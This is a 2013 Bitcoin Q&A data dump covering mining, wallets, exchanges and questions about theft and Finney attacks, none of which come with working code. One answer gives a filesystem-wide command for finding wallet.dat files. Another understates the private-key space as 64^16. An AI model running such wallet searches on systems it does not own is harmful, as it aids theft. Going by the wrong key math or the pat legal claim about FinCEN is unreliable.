  <row Id="17211" PostTypeId="2" ParentId="17057" CreationDate="2013-11-24T18:07:48.133" Score="2" Body="&lt;p&gt;Download the bfgminer source code, extract the source, change directory into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ dpkg-buildpackage -uc -us -rfakeroot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it'll build a package you can install on Debian Wheezy. You will need to install &quot;dpkg-dev&quot; for dpkg-buildpackage and all the build dependencies, which you'll find out by running the dpkb-buildpackage command.&lt;/p&gt;&#xA;" OwnerUserId="9266" LastActivityDate="2013-11-24T18:07:48.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17215" PostTypeId="1" AcceptedAnswerId="17290" CreationDate="2013-11-24T19:16:08.287" Score="-1" ViewCount="135" Body="&lt;p&gt;Does the ASIC Jalepeno miner need to be connected via USB for it to work properly (to access the Internet)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping there was a wi-fi setup option but I don't see it.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-11-26T00:39:03.867" Title="How does the ASIC Jalepeno connect to the Internet?" Tags="|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17218" PostTypeId="1" CreationDate="2013-11-24T21:12:58.807" Score="0" ViewCount="7875" Body="&lt;p&gt;Each time you start bitcoin-qt.exe program will generate new random address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what happen if I modify source code and compile new version:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;instead of new random address I can hard code in source code address which already exist on the network with BTC on it ( for example &lt;a href=&quot;http://blockchain.info/address/1933phfhK3ZgFQNLGSDXvqCn32k2buXY8a&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/1933phfhK3ZgFQNLGSDXvqCn32k2buXY8a&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After I sync &quot;new&quot; wallet with the chain I can retrieve all BTC on it&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to do the same I can also modify RANDOM generator source code to generate any address which already exist on the network with BTC on it as above&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to modify source code, compile to EXE and generate THAT way existing BTC address with private keys inside wallet.dat (I believe that private keys are created FROM BTC address by bitcoin-qt.exe) to steal the money&lt;/p&gt;&#xA;" OwnerUserId="9148" LastEditorUserId="2306" LastEditDate="2015-01-26T15:39:46.533" LastActivityDate="2019-02-22T04:53:26.587" Title="Can I modify the source code of Bitcoin to generate addresses people have already used?" Tags="|security|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17219" PostTypeId="1" CreationDate="2013-11-24T21:37:00.897" Score="2" ViewCount="214" Body="&lt;p&gt;Say I have an address with 1000 different 0.01BTC outputs. I send all of the outputs (in separate transactions) to the 48% SatoshiDICE address. At the same time, I craft a transaction for each of the outputs that sends the money back to myself. Once I find out which of the bets succeeded, I start mining. I include the SatoshiDICE bets where I won, and I cancel the ones where I lost (using the conflicting transaction I generated earlier). So basically if I mine the next block, I cancel all the bets where I lost, and only keep the ones where I won. My question is, what percent of the network hashrate do I need to make this profitable?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="5406" LastEditDate="2016-03-16T10:28:17.387" LastActivityDate="2016-03-16T10:28:17.387" Title="Hashrate required for Finney attack on SatoshiDICE" Tags="|security|hashpower|satoshidice|finney-attack|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-28T22:12:39.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="17220" PostTypeId="2" ParentId="17218" CreationDate="2013-11-24T21:39:57.477" Score="2" Body="&lt;p&gt;No, because you need the private key to spend the bitcoins. The chance you guess a private key is really, really, really small. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of private keys is 64^16, which is 7.9228163*10^28. Written down this number looks this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;79,228,163,000,000,000,000,000,000,000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to put this number into perspective, the US debt at this moment is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;17,193,871,000,000 $&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would be able to guess and check 100 million private keys every day, it would take you (64^16)/100,000,000=7.9228163*10^20 days, which is 2.1706346*10^18 years. That is 2,170,634,600,000,000,000 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The approximate age of the earth is estimated at about 4.54*10^9 years, which is 4,540,000,000 years.&lt;/p&gt;&#xA;" OwnerUserId="9280" LastEditorUserId="12426" LastEditDate="2019-02-22T04:53:26.587" LastActivityDate="2019-02-22T04:53:26.587" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17221" PostTypeId="2" ParentId="17187" CreationDate="2013-11-24T21:55:07.213" Score="0" Body="&lt;p&gt;I am not an expert, but according to your budget, it would not be cost effective. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, for you to make enough coins to break even, you need to invest at least US$3000. But the problem is that there isn't any ASIC machine now that costs that much. You can try &lt;a href=&quot;http://cointerra.com/shop/&quot; rel=&quot;nofollow&quot;&gt;CoinTerra&lt;/a&gt;. They have a 2&amp;nbsp;THash/s miner that can make you a good amount of money, but you will have to expend about US$6000 dollars for that unit.&lt;/p&gt;&#xA;" OwnerDisplayName="user8746" LastEditorUserId="1405" LastEditDate="2014-01-03T21:58:48.173" LastActivityDate="2014-01-03T21:58:48.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17222" PostTypeId="2" ParentId="17162" CreationDate="2013-11-24T22:03:00.510" Score="2" Body="&lt;p&gt;Yes it is illegal to trade OTC because you will be consider a money transmitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you file with FINCEN, you will be on the clear.&lt;/p&gt;&#xA;" OwnerDisplayName="user8746" LastActivityDate="2013-11-24T22:03:00.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17223" PostTypeId="2" ParentId="17104" CreationDate="2013-11-24T22:08:42.340" Score="0" Body="&lt;p&gt;Just to double check, did you double check the address to where you sent the bitcoins. I know, you were suppose to send them to yourself, but could you have made a typo and sent them to someone else. If that was the case, I am afraid you made someone rich. If not, follow what the other person said, contact administrators at 50BTC.com and ask them what has happened?&lt;/p&gt;&#xA;" OwnerDisplayName="user8746" LastActivityDate="2013-11-24T22:08:42.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17224" PostTypeId="2" ParentId="17063" CreationDate="2013-11-24T22:22:55.690" Score="0" Body="&lt;p&gt;First Servers don't have graphics card like AMD, or NVIDIA. They use an integrated card that is very, very, very low grade because server are used for bootstrap not for graphics processing. BFGMiner will identify your GPU (or graphics card) but if it is low grade as an integrated it will not function because it will have no processing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you connect by USB a asic miner to your server, like from Butterfly Labs, or CoinTerra, or Avalon, then you can use BFGMiner and will be able to mine, but now since you don't have an asic running you are not mining.&lt;/p&gt;&#xA;" OwnerDisplayName="user8746" LastActivityDate="2013-11-24T22:22:55.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17225" PostTypeId="1" CreationDate="2013-11-24T22:27:45.927" Score="7" ViewCount="231" Body="&lt;p&gt;It is my understanding that the blockchain consist of the following information for every transaction in the network:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From address&lt;/li&gt;&#xA;&lt;li&gt;To address&lt;/li&gt;&#xA;&lt;li&gt;Amount of bitcoins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What additional information can a miner collect? For example, is it easy to find the IP address that the transaction was first sent from? Is there other identifying information a single or group of miners can capture? What roll do bitcoin tumblers play in all this?&lt;/p&gt;&#xA;" OwnerUserId="6254" LastEditorUserId="5406" LastEditDate="2016-04-02T10:02:31.063" LastActivityDate="2016-06-01T10:58:24.090" Title="What metadata can be captured by a single miner? What about a group of miners?" Tags="|blockchain|network|privacy|transaction-propagation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17227" PostTypeId="2" ParentId="17218" CreationDate="2013-11-24T22:53:38.540" Score="0" Body="&lt;p&gt;It's not humans communicating in the bitcoin network, it's the clients they are using. If a client doesn't do what its user tells it to there's nothing you can do about it. In this case, using &quot;compromised&quot; addresses as you suggested is one way of scamming, stealing small amounts of coins from time to time could be a more subtle one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore to be safe, you need to trust your client not to be manipulated. Some safety precautions could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use an open source client&lt;/li&gt;&#xA;&lt;li&gt;Download it from a trusted source over a secured connection&lt;/li&gt;&#xA;&lt;li&gt;Make sure you downloaded the right file by comparing its hash with an signed, official one (see &lt;a href=&quot;https://multibit.org/blog/2013/07/24/how-to-check-signatures.html&quot; rel=&quot;nofollow&quot;&gt;instructions&lt;/a&gt; for multibit, should be similar for other wallets)&lt;/li&gt;&#xA;&lt;li&gt;Keep your system safe (malicious software could replace the client with a modified version)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="9175" LastEditDate="2013-11-24T23:39:58.127" LastActivityDate="2013-11-24T23:39:58.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17229" PostTypeId="2" ParentId="16963" CreationDate="2013-11-24T23:23:35.167" Score="2" Body="&lt;p&gt;Place to start - use the linux &quot;file&quot; command, which will show the following for a bitcoin wallet (at least in the client I use)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wallet.dat: Berkeley DB (Btree, version 9, native byte-order)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - you could run something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;find / -type f exec file '{U}' \; | grep &quot;Berkeley DB&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be a start!&lt;/p&gt;&#xA;" OwnerUserId="9287" LastEditorUserId="5757" LastEditDate="2013-11-25T06:20:58.407" LastActivityDate="2013-11-25T06:20:58.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17230" PostTypeId="2" ParentId="17104" CreationDate="2013-11-24T23:51:00.140" Score="3" Body="&lt;p&gt;50btc was hacked some time ago and the hacker completely messed up all account balances. If you &lt;em&gt;actually&lt;/em&gt; have mined over 200 BTC there, I suggest you contact the administrators. But I assume you're just one of the people who woke up one day and saw that your 0.001 mining profit had been replaced with a completely arbitrary number of coins, in which case no, &quot;your&quot; Bitcoins were not lost since they never existed in the first place.&lt;/p&gt;&#xA;" OwnerUserId="9289" LastActivityDate="2013-11-24T23:51:00.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17231" PostTypeId="1" AcceptedAnswerId="17233" CreationDate="2013-11-25T01:25:04.273" Score="6" ViewCount="1172" Body="&lt;p&gt;Say we have two miners, Alice (an honest miner), and Eve (an evil miner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that when Alice mines a block she advertises it to the network, and once it's part of the longest block chain Alice earns mining reward + eventual transactions fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But could Eve steal this block (and the associated reward + fees)? When Alice publishes the block to the network, what happens if Eve republishes it as its own block? What if Eve is able to propagate the news that she mined the block herself in the network than Alice can?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure Bitcoin has some mechanism around this issue and I'm curious to see how it works.&lt;/p&gt;&#xA;" OwnerUserId="9293" LastEditorUserId="5406" LastEditDate="2016-02-12T16:29:46.877" LastActivityDate="2016-02-12T16:29:46.877" Title="Can a miner steal another one's block?" Tags="|mining-reward|mining-theory|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17232" PostTypeId="1" AcceptedAnswerId="17376" CreationDate="2013-11-25T01:53:22.027" Score="5" ViewCount="4434" Body="&lt;p&gt;So I have a compressed private key. Is it possible to get the uncompressed version of it? If yes, how? Examples in Javascript would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9296" LastActivityDate="2020-04-14T20:30:45.577" Title="How to uncompress a compressed private key?" Tags="|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17233" PostTypeId="2" ParentId="17231" CreationDate="2013-11-25T02:16:14.643" Score="6" Body="&lt;p&gt;No. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block that Alice mined includes the mining rewards going to Alice's address. If Eve alters the block data to output the rewards to her own receiving address, then the nonce (and other variable values, I think &quot;extranonce&quot; and timestamp) that Alice used to solve the block will almost certainly no longer solve the block.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-11-25T02:16:14.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17234" PostTypeId="1" AcceptedAnswerId="17240" CreationDate="2013-11-25T02:57:41.133" Score="5" ViewCount="474" Body="&lt;p&gt;Writing my own blockchain parser, I have come across an unrecognized opcode in &lt;a href=&quot;http://blockexplorer.com/block/000000000000046acff93b0e76cd10490551bf871ce9ac9fad62e67a07ff1d1e&quot; rel=&quot;nofollow&quot;&gt;block number 142312&lt;/a&gt;. The &lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000046acff93b0e76cd10490551bf871ce9ac9fad62e67a07ff1d1e&quot; rel=&quot;nofollow&quot;&gt;relevant section of the transaction input&lt;/a&gt; is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;in&quot;:[&#xA;         {&#xA;             &quot;prev_out&quot;:{&#xA;                 &quot;hash&quot;: &quot;0000000000000000000000000000000000000000000000000000000000000000&quot;,&#xA;                 &quot;n&quot;: 4294967295&#xA;             },&#xA;             &quot;coinbase&quot;: &quot;fc70035c7a81bc6f4876c6036e4bc4080eaf81377bc9672828061491e79df5d4ddf1d65b058ccb30563f1f1c14f658607bd2c7138e87e480bcec3f5b91d041d041&quot;&#xA;         }&#xA;     ],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fc&lt;/code&gt; corresponds to opcode 252, which is &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;not listed in the Bitcoin wiki&lt;/a&gt;. How should I interpret this script value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My block parsing program gives me the following raw coinbase script value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fc70035c7a81bc6f4876c6036e4bc4080eaf81377bc9672828061491e79df5d4ddf1d65b058ccb30563f1f1c14f658607bd2c7138e87e480bcec3f5b91d041d041&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is, there isn't any opcode before the above hexadecimal string.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="1405" LastEditDate="2013-12-31T16:52:33.960" LastActivityDate="2014-01-30T17:15:39.907" Title="What is opcode 252?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17238" PostTypeId="1" CreationDate="2013-11-25T04:39:55.140" Score="1" ViewCount="102" Body="&lt;p&gt;I bought 11 BTC from someone and to prove they sent I had them take a s/s of the transaction.&#xA;It has now been 3 days and I do not even see it in unconfirmed part of my wallet. Is there some way to cancel payments? Did he somehow scam me? We both use bitcoin wallet qt. Any help will be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I forgot to say that I reset the blockchain already and asked him to do so. (whether or not he did I do not know)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again&lt;/p&gt;&#xA;" OwnerUserId="9303" LastActivityDate="2013-11-25T04:39:55.140" Title="Why do I not see a transaction after 3 days?" Tags="|transactions|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17239" PostTypeId="1" CreationDate="2013-11-25T05:07:50.380" Score="14" ViewCount="507351" Body="&lt;p&gt;A friend of mine gave me two bitcoins which I now want to sell. I don't understand the process which would enable me send the funds generated to my bank account.&lt;/p&gt;&#xA;" OwnerUserId="9304" LastEditorUserId="5406" LastEditDate="2021-03-26T20:25:51.417" LastActivityDate="2021-03-26T20:25:51.417" Title="How can I sell bitcoins and transfer the funds to my bank account?" Tags="|sell-bitcoins|banks|canonical-question|" AnswerCount="9" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17240" PostTypeId="2" ParentId="17234" CreationDate="2013-11-25T05:11:41.573" Score="4" Body="&lt;p&gt;It's possible for invalid scripts to exist in the chain. Scripts are only checked for validity when spent, and coinbase scriptsigs are never checked. You should just interpret coinbase scriptsigs as a chunk of arbitrary data that's &lt;em&gt;usually&lt;/em&gt; (not always) a valid script. ScriptPubKeys can also be invalid: blockexplorer.com will print the script as &quot;[error]&quot; in such cases.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2013-11-25T06:25:19.550" LastActivityDate="2013-11-25T06:25:19.550" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17242" PostTypeId="1" CreationDate="2013-11-25T06:02:57.743" Score="0" ViewCount="1821" Body="&lt;p&gt;I have a single sc 30gh/s miner.&lt;br&gt;&#xA;I want to run &lt;code&gt;cgminer&lt;/code&gt; as well &lt;code&gt;guminer&lt;/code&gt; at a time simultaneously, will there be any difference? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use &lt;code&gt;cgminer&lt;/code&gt; to mine at BTCGUILD and &lt;code&gt;guminer&lt;/code&gt; for mining at SLUSHPOOL.&lt;/p&gt;&#xA;" OwnerUserId="9306" LastEditorUserId="5406" LastEditDate="2016-02-12T16:25:43.740" LastActivityDate="2016-02-12T16:25:43.740" Title="How can I configure my miner for two pools simultaneously?" Tags="|mining-pools|cgminer|miner-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17243" PostTypeId="2" ParentId="16858" CreationDate="2013-11-25T07:49:26.173" Score="0" Body="&lt;p&gt;Enter the encrypted private key in the &quot;Wallet Details&quot; tab. It will prompt you for a password then.&lt;/p&gt;&#xA;" OwnerUserId="6574" LastActivityDate="2013-11-25T07:49:26.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17245" PostTypeId="2" ParentId="17242" CreationDate="2013-11-25T08:37:04.590" Score="2" Body="&lt;p&gt;You can use the cgminer -c (config option) to add multiple pools and set up quota system to mine a certain percentage on each pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the CGMiner Readme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;pools&quot; : [&#xA;        {&#xA;                &quot;url&quot; : &quot;poola:porta&quot;,&#xA;                &quot;user&quot; : &quot;usernamea&quot;,&#xA;                &quot;pass&quot; : &quot;passa&quot;&#xA;        },&#xA;        {&#xA;                &quot;quota&quot; : &quot;2;poolb:portb&quot;,&#xA;                &quot;user&quot; : &quot;usernameb&quot;,&#xA;                &quot;pass&quot; : &quot;passb&quot;&#xA;        }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will assign 2/3 to poolb, and 1/3 to poola.&lt;/p&gt;&#xA;" OwnerUserId="9311" LastActivityDate="2013-11-25T08:37:04.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17246" PostTypeId="2" ParentId="17239" CreationDate="2013-11-25T08:53:00.220" Score="12" Body="&lt;p&gt;Although you can find a more comprehensive list &lt;a href=&quot;https://en.bitcoin.it/wiki/Exchanges&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; on the Bitcoin Wiki, some of the most popular exchanges in the community are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Coinbase&lt;/strong&gt; - &lt;a href=&quot;https://coinbase.com&quot; rel=&quot;noreferrer&quot;&gt;https://coinbase.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bitstamp&lt;/strong&gt; - &lt;a href=&quot;https://www.bitstamp.net&quot; rel=&quot;noreferrer&quot;&gt;https://www.bitstamp.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can exchange your bitcoins for US dollars on these websites and have them funded to your bank account.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastEditorUserId="4525" LastEditDate="2014-12-24T20:54:27.670" LastActivityDate="2014-12-24T20:54:27.670" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17248" PostTypeId="2" ParentId="17219" CreationDate="2013-11-25T09:41:32.647" Score="0" Body="&lt;p&gt;There is no magic barrier above which you will make a profit, it's a tradeoff. The larger your hashrate the higher your chances of successfully completing the finney attack. The odds at SatoshiDice are a bit at your disadvantage, but in a system where you'd get back what you wagered in expectation you'd always make a profit.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-25T09:41:32.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17249" PostTypeId="1" CreationDate="2013-11-25T09:56:04.757" Score="2" ViewCount="916" Body="&lt;p&gt;I see that the blockchain has enabled lots of different distributed networking principles, other than just enabling cryptocurrency. For example Namecoin uses the blockchain for storing DNS data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering about the feasibility of storing entire websites in the blockchain. For example, the likes of Wikileaks could find a safe haven in a blockchain which anyone could easily have a copy of and browse locally, off-line or simply anyone could host and manage a website that would be practically impossible to shut-down, since there would be no single point of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this could only enable static content and it would be impossible to have a secure storage system unless it was referenced outside the blockchain, but that would defeat the purpose. But there are many valuable websites out there for which this wouldn't be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3189" LastActivityDate="2013-11-25T11:29:10.287" Title="Storing HTML websites in the blockchain?" Tags="|blockchain|alternatives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17250" PostTypeId="1" CreationDate="2013-11-25T10:37:50.210" Score="5" ViewCount="580" Body="&lt;p&gt;Something that I feel might be &lt;strong&gt;the&lt;/strong&gt; obstacle against Bitcoin going global -- but which I've never seen anyone mention -- is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin goes global, I think it's possible that the number of transactions per second will be so high that it will become impossible to download the block chain at typical internet speeds -- it will grow faster than it can be downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is: is this a real possibility? If so, how might Bitcoin deal with it?&lt;/p&gt;&#xA;" OwnerUserId="3248" LastEditorUserId="5406" LastEditDate="2015-05-08T10:10:40.660" LastActivityDate="2015-05-08T10:10:40.660" Title="Bandwidth required for Bitcoin going global?" Tags="|blockchain|scalability|bandwidth|block-size-increase|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17251" PostTypeId="2" ParentId="17249" CreationDate="2013-11-25T11:14:10.510" Score="1" Body="&lt;p&gt;To get large blocks incorporated into the blockchain, you will have to pay transaction fees based on their size. It could be an interesting exercise to compare this with storage costs for the same level of long-term redundancy elsewhere---but then again, what is the level of redundancy? If storage in the blockchain does become common, it is obvious that soon most people will (have to) stop storing the entire blockchain locally, defeating the purpose of having a highly accessible and highly redundant storage (for your website example or maybe for backup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In you wikileaks example, I think this might pretty much defeat its purpose. Although many people may be interested in many of their leaks, surely only a small fraction of bitcoin users will be that interested that they'd be happy to store it without reimbursement for their wasted storage space. And at a reasonable compensation, the person or organization leaking it must be so rich, you'd wonder if it was cheaper to finance political campaigns that can change the system to allow risk-free whistleblowing at lower expense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that wikileaks is not in the business of releasing most of their information. I believe what they have distributed in bulk is a very strongly encrypted version of everything, and very selective, carefully edited small bits. The encrypted bulk would not give the benefits you imagine (allowing anyone to browse it)---and luckily also none of the risks, I might add (just imagine any of what the media has actually redacted out of their stories included something actually dangerous, like, say, the key with which some madman could trigger WW III). And it is not needed: As I understand it, plenty of people have downloaded and spread their encrypted bulk data for free and out of their own volition. I suspect if you wanted to get it, you might still find it easy to find online. Just what you might hope from getting out of browsing an encrypted monster-sized file is a bit beyond me; it seems to me the only benefit is knowing to have helped slightly with wikileak's self-insurance policy.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-25T11:29:10.287" LastActivityDate="2013-11-25T11:29:10.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17252" PostTypeId="1" CreationDate="2013-11-25T11:38:08.430" Score="10" ViewCount="23770" Body="&lt;p&gt;I'm looking for an opensource crypto-currency exchange engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference would be for something easy to use like joomla or drupal. My exchange setup needs support for alt-coins and bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have discovered &lt;a href=&quot;https://github.com/dooglus/intersango&quot; rel=&quot;noreferrer&quot;&gt;intersango&lt;/a&gt; myself. However, sql file is corrupted, there is no creation of tables and import does not work. Plus it is bitcoin exchange only (and I need alt-coin support). Site of this exchange with &quot;invites only&quot;, registration is closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something super-simple that I can use to get started?&lt;/p&gt;&#xA;" OwnerUserId="8789" LastEditorUserId="35975" LastEditDate="2016-06-06T09:37:08.460" LastActivityDate="2022-08-18T10:25:38.983" Title="Is there an opensource crypto-currency exchanges engine?" Tags="|exchanges|alternatives|open-source|exchange-fees|intersango|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17253" PostTypeId="2" ParentId="17187" CreationDate="2013-11-25T12:11:08.770" Score="0" Body="&lt;p&gt;I have with a similar budget and bought &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00CUJT7TO&quot; rel=&quot;nofollow&quot;&gt;ASICMiner Block Erupters&lt;/a&gt; (US$16/per, pre US$400 BTC). My goal was to learn about Bitcoin and cover the electricity cost of running a production server. My setup is earning about US$30 per month (at the present Bitcoin value) and the server consumes about 145 - 155&amp;nbsp;kWh per month. But then my objectives are modest, and I'm not expecting to contribute to my &lt;a href=&quot;https://en.wikipedia.org/wiki/401%28k%29&quot; rel=&quot;nofollow&quot;&gt;401(k)&lt;/a&gt;... Good luck.&lt;/p&gt;&#xA;" OwnerUserId="9316" LastEditorUserId="1405" LastEditDate="2014-01-03T21:58:09.093" LastActivityDate="2014-01-03T21:58:09.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17255" PostTypeId="2" ParentId="17104" CreationDate="2013-11-25T12:58:59.263" Score="1" Body="&lt;p&gt;If you look on the &lt;a href=&quot;https://50btc.com/worker/stats&quot; rel=&quot;nofollow&quot;&gt;Mining&lt;/a&gt; page at 50BTC, you will be able to see how many coins you have actually earned in their pool (because, as Yngve mentioned, 50BTC was hacked at the end of October, so the account balances are inaccurate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By subtracting the number of coins that have been paid to your payout address (use a service like &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;), you should be able to determine exactly what is owed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have reached out to them a number of times because I'm still owed 7.4 BTC and have had no response yet. Best of luck to you; let me know if they reach out to you!&lt;/p&gt;&#xA;" OwnerUserId="9320" LastActivityDate="2013-11-25T12:58:59.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17256" PostTypeId="1" CreationDate="2013-11-25T13:35:15.887" Score="0" ViewCount="376" Body="&lt;p&gt;vWhen I open the bitcoin-qt (v0.8.5 beta) app on my MacBook Pro 10.7.5 it says - loading block index, verifying blocks, loading wallet - then immediately crashes on loading wallet to give message &quot;bit coin-qt unexpectedly quit&quot;. I know the address of my wallet, but not the private key. How can I solve this problem ??&lt;/p&gt;&#xA;" OwnerUserId="9322" LastActivityDate="2013-11-25T23:27:59.117" Title="Loading Wallet error" Tags="|wallet|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17257" PostTypeId="2" ParentId="17144" CreationDate="2013-11-25T14:14:54.540" Score="1" Body="&lt;p&gt;Place the .wallet files on a secure USB drive, within Multibit there is an option to simply select location of a wallet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not sure what date exactly but they changed the format of the wallets. Multibit will automatically convert it to the new wallet format and bring up your old transactions.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-25T14:14:54.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
